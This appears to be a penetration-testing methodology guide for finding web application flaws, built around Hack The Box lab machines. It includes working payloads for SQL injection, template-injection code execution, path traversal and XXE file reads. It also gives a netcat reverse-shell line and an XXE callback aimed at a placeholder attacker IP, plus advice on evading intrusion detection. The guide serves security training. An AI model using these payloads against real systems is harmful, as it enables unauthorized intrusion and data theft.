Web Vulnerability Identification
#Overview
Web vulnerability identification is the process of manually testing web applications for injection flaws, broken access controls, authentication weaknesses, and server-side misconfigurations. Unlike service version matching, which maps known CVEs to version strings, web vulnerability testing probes the application's own logic for security flaws that have no CVE identifier.
This phase draws heavily from real HTB patterns. SQL injections via login forms (Magic -- ' or 1=1-- -), blind SQL injection through WebSockets (Soccer), SSRF chained with command injection (Sau -- Request Baskets to Maltrail), LFI from parameter manipulation (ServMon -- NVMS-1000 directory traversal), and SSTI through templating engines all represent vulnerabilities that automated scanners frequently miss.
The key principle: test every parameter that accepts user input, every endpoint that processes data, every file upload that reaches the server, and every API route exposed in documentation. Treat the application not as a list of CVEs but as a web of processing logic where any input boundary is a potential injection point.
#Prerequisites
- Burp Suite Community/Pro (or OWASP ZAP) for intercepting and manipulating requests
- Curl for command-line HTTP interaction
- sqlmap (Python) for automated SQL injection exploitation
- Browser developer tools for DOM and JavaScript analysis
- Web fuzzer (ffuf, gobuster, wfuzz) for endpoint and parameter discovery
- Understanding of HTTP methods, headers, cookies, and status codes
- Python for payload crafting and custom exploit scripts
#Detection and Enumeration
#Step 1: Map the Application Surface
Before testing, understand the application structure:
- Crawl all visible pages using Burp Suite's spider or manual browsing with the proxy active.
- Fuzz for hidden directories and files with gobuster/ffuf:
gobuster dir -u http://target.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak
- Fuzz for virtual hosts (vHosts) -- many applications expose functionality on subdomains:
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://target.htb/ -H 'Host: FUZZ.target.htb' -mc 200,404
On BoardLight, ffuf discovered crm.board.htb (Dolibarr). On Mentor, fuzzing revealed api.mentorquotes.htb with a Swagger /docs endpoint.
- Check the footer and source code for framework and version information. On Busqueda, the footer declared "Searchor 2.4.0" and "Flask". On Sau, the footer showed "Maltrail (v0.53)".
#Step 2: Identify All Input Vectors
Map every location where the application accepts user input:
- URL query parameters (
?id=1,?search=test,?file=index.php) - POST body parameters (login forms, search bars, file uploads)
- HTTP headers (User-Agent, Referer, Cookie, X-Forwarded-For, custom headers)
- cookies (session tokens, preference settings, tracking IDs)
- WebSocket messages (Soccer -- ticket validation via WebSocket on port 9091)
- REST/GraphQL API endpoints (Help -- GraphQL query parameter injection)
- File upload fields and their metadata
#Assessment Methodology
#SQL Injection Testing
SQL injection remains one of the most common and impactful web vulnerabilities.
Manual detection technique:
- Insert a single quote (
') into the parameter. A database error or changed response indicates potential SQLi. - Boolean-based test: Submit
' OR 1=1-- -and' OR 1=2-- -. If the response differs, the injection is exploitable. - Comment syntax:
-- -(MySQL),--(MSSQL),#(MySQL). Test each.
Example from Magic (HTB): The login form's username field accepted ' or 1=1-- -, bypassing authentication entirely.
Example from Help (HTB): The ticket attachment URL parameter param[]=6 was injectable:
param[]=6 and 1=1-- - -> returns the attachment (true)
param[]=6 and 1=2-- - -> returns not found (false)
This confirms blind boolean-based SQLi. Data extraction required character-by-character iteration using substr().
Automated exploitation with sqlmap:
# Basic scan
sqlmap -u "http://target.htb/page.php?id=1" --batch
# Capture a request with Burp, save to file, then use it
sqlmap -r request.txt -p id --batch --dbs
# For POST requests with CSRF tokens
sqlmap -r request.txt --csrf-token=csrf_token_param --csrf-url="http://target.htb/login.php"
PostgreSQL RCE via SQLi: On Clicker, SQL injection in an UPDATE query allowed username manipulation containing PHP code, which was then executed when the application rendered the username. On Mentor, authenticated PostgreSQL access led to RCE via COPY ... FROM PROGRAM.
#XSS Detection
Test for reflected, stored, and DOM-based XSS.
Reflected parameters: Submit <script>alert(1)</script> or <img src=x onerror=alert(1)> in URL parameters and form fields. Check if the payload appears unsanitized in the response.
Stored input fields: Profile pages, comment sections, message boards, and any user-editable content that persists and is served to other users.
DOM-based XSS: Source code review of JavaScript for eval(), document.write(), innerHTML, .html() (jQuery) with user-controllable input.
#LFI / Path Traversal Detection
Local File Inclusion is tested by manipulating file path parameters.
Standard traversal sequences:
index.php?page=../../../../etc/passwd
index.php?file=../../../../etc/passwd
index.php?template=../../../windows/win.ini
Example from ServMon (HTB): The NVMS-1000 application was vulnerable to path traversal:
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
This returned win.ini, confirming LFI. The path was then changed to C:\Users\Nathan\Desktop\Passwords.txt to retrieve sensitive files.
Filter bypass techniques:
- URL encoding:
%2e%2e%2ffor../ - Double encoding:
%252e%252e%252f - Null byte injection:
../../../etc/passwd%00(PHP < 5.3.4) - Path truncation:
....//....//....//etc/passwd - PHP wrappers:
php://filter/convert.base64-encode/resource=index.php(read PHP source)
#SSTI Detection
Server-Side Template Injection occurs when user input is embedded in a template and evaluated by the template engine.
Detection polyglot payloads:
{{7*7}}
{{7*'7'}}
${{7*7}}
<%= 7*7 %>
#{7*7}
If the response evaluates to 49, SSTI is confirmed. The specific syntax reveals the template engine:
{{7*7}}-> 49: Jinja2 (Python), Twig (PHP), Liquid (Ruby)${7*7}-> 49: Freemarker (Java), Velocity<%= 7*7 %>-> 49: ERB (Ruby), EJS (JavaScript)
After confirmation, escalate to RCE using engine-specific payloads. For Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.
#Command Injection Testing
Test parameters that execute system commands.
Detection payloads:
; id
| id
|| id
& id
&& id
`id`
$(id)
; ping -c 1 <attacker_IP>
| nc <attacker_IP> 4444 -e /bin/sh
Example from Sau (HTB): Maltrail v0.53 was vulnerable to unauthenticated OS command injection via the username parameter in the login endpoint:
python3 exploit.py <attacker_IP> 4444 http://target:55555/<basket_id>
Example from Busqueda (HTB): The Searchor 2.4.0 library's eval statement accepted crafted payload in the query parameter:
') + str(__import__('os').system('id')) #
This concatenated a command execution into the Python eval context, achieving RCE.
#SSRF Detection
Server-Side Request Forgery forces the server to make requests to internal or external resources.
Common SSRF parameters: url=, path=, proxy=, redirect=, file=, src=, webhook=, callback=, image_url=, attachment loaders.
Detection: Set the parameter to point to your own server (http://<attacker_IP>/test) and check for incoming connections:
nc -lnvp 80 # Listen for HTTP requests
python3 -m http.server 80 # Serve HTTP and log requests
Example from Sau (HTB): Request Baskets SSRF (CVE-2023-27163) allowed proxying requests to internal services. By configuring the Forward URL to http://127.0.0.1:80 and enabling Proxy Response + Expand Forward Path, the attacker could reach the internal Maltrail instance that was otherwise only accessible on localhost.
#XXE Detection
XML External Entity injection exploits XML parsers that process DOCTYPE definitions.
Detection payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://<attacker_IP>/xxe_test">
]>
<root>&xxe;</root>
Submit this as the request body with Content-Type set to application/xml. If a connection is received on the attacker's listener, the parser is vulnerable.
File exfiltration via XXE:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
On Clicker, XXE was used in the final privilege escalation stage to read the root user's SSH key by intercepting and modifying the response to a curl request made by a monitoring script.
#IDOR Detection
Insecure Direct Object Reference occurs when the application exposes internal object identifiers (usually sequential IDs) without authorization checks.
Testing approach:
- Log in as User A, note the ID values in URLs (e.g.,
/profile.php?id=100,/api/users/100) - Increment/decrement the ID value:
/profile.php?id=101,/api/users/99 - Attempt to access another user's data by changing the ID
#CSRF Detection
Cross-Site Request Forgery testing checks whether state-changing requests include an unpredictable token.
Checklist:
- Find a state-changing request (password change, email update, fund transfer)
- Check the request body for a CSRF token
- Remove the CSRF token and resubmit -- if accepted, CSRF is present
- Check if session cookies use
SameSite=StrictorSameSite=Lax
#API Endpoint Analysis
APIs introduce additional vulnerability classes.
Swagger / OpenAPI documentation: Navigate to /docs, /api/docs, /swagger.json, /openapi.json. On Mentor, the /docs endpoint at api.mentorquotes.htb exposed every API route including authentication mechanisms and JWT handling.
GraphQL enumeration: On Help, a GraphQL endpoint on port 3000 was discovered. Introspection queries revealed the schema:
curl -s -G http://target:3000/graphql --data-urlencode "query={user {username, password}}" | jq
JWT testing: If JWTs are used for authentication, test for:
- None algorithm attack: Change
"alg": "RS256"to"alg": "none", remove signature - Weak HMAC key: Crack the secret using
jwt-crackeror hashcat mode 16500 - Token reuse and expiration bypass
#WAF Detection and Bypass
Use wafw00f to identify Web Application Firewalls:
wafw00f http://target.htb
wafw00f -a http://target.htb # Aggressive check with multiple techniques
Common WAF bypass techniques:
- Case variation:
SelEcTforSELECT - Inline comments:
SEL/**/ECT - Whitespace alternation: tab (
%09), newline (%0a), form feed (%0c) - URL encoding and double encoding
- Chunked transfer encoding
- Parameter pollution:
?id=1&id=2
#Common Pitfalls
- Pitfall: Trusting that login forms need credentials to test for SQL injection. Fix: Test every input field regardless of authentication requirements. On Magic, the SQLi worked on an unauthenticated login page.
- Pitfall: Only testing GET parameters for injection. POST bodies, cookies, and HTTP headers (User-Agent, Referer, X-Forwarded-For) are equally injectable. Fix: Test all input vectors systematically.
- Pitfall: Stopping at the first successful injection without exploring the full impact. A boolean-based blind SQLi (like on Help) is slower to exploit but often leads to full credential extraction. Fix: Invest the time to fully exploit confirmed vulnerabilities.
- Pitfall: Ignoring WebSocket traffic. On Soccer, the SQL injection was only reachable via a WebSocket on port 9091, not through standard HTTP parameters. Fix: Monitor all network traffic from the browser and proxy, including WebSocket frames.
- Pitfall: Assuming an SSRF is low-impact. On Sau, SSRF was the single entry point to an otherwise unreachable internal service, leading directly to RCE. Fix: Always probe internal services via SSRF --
127.0.0.1:80,127.0.0.1:8080,127.0.0.1:22, and common adjacent ports.
#OPSEC Considerations
- Detection: SQL injection attempts with sqlmap generate thousands of requests with recognizable patterns. IDS/IPS systems flag sqlmap's default user-agent and retry behavior. Fix: Use
--random-agentand insert delays with--delay=1. - Detection: Rapid directory brute-forcing with ffuf/gobuster fills server access logs with 404/403 entries in a short time window. Fix: Throttle with
-tflag and consider splitting the wordlist across multiple time windows. - Detection: SSRF callback tests reveal the attacker's IP address to the target server. Fix: Use a hardened VPS or VPN IP that is not tied to your identity.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| Burp Suite | https://portswigger.net/burp |
| OWASP ZAP | https://www.zaproxy.org/ |
| sqlmap | https://github.com/sqlmapproject/sqlmap |
| ffuf | https://github.com/ffuf/ffuf |
| gobuster | https://github.com/OJ/gobuster |
| wfuzz | https://github.com/xmendez/wfuzz |
| wafw00f | https://github.com/EnableSecurity/wafw00f |
| jwt_tool | https://github.com/ticarpi/jwt_tool |
| graphqlmap | https://github.com/swisskyrepo/GraphQLmap |
#Source Machines
- Magic (Easy) -- SQL injection authentication bypass (
' or 1=1-- -), file upload magic byte bypass - Help (Easy) -- GraphQL endpoint enumeration, HelpDeskz blind boolean SQL injection with character-by-character password extraction
- Sau (Easy) -- SSRF via Request Baskets (CVE-2023-27163), Maltrail unauthenticated OS command injection
- Busqueda (Easy) -- Command injection in Searchor 2.4.0 eval statement via
queryparameter - Clicker (Medium) -- SQL injection in UPDATE query, PHP code injection via username, XXE for SSH key extraction
- Soccer (Easy) -- Blind SQL injection via WebSockets, Tiny File Manager authenticated RCE
- Cerberus (Hard) -- Icinga Web 2 LFI, path traversal file write with PHP payload, OpenSSL null byte bug
- Mentor (Medium) -- Swagger API docs enumeration, JWT authentication bypass, PostgreSQL RCE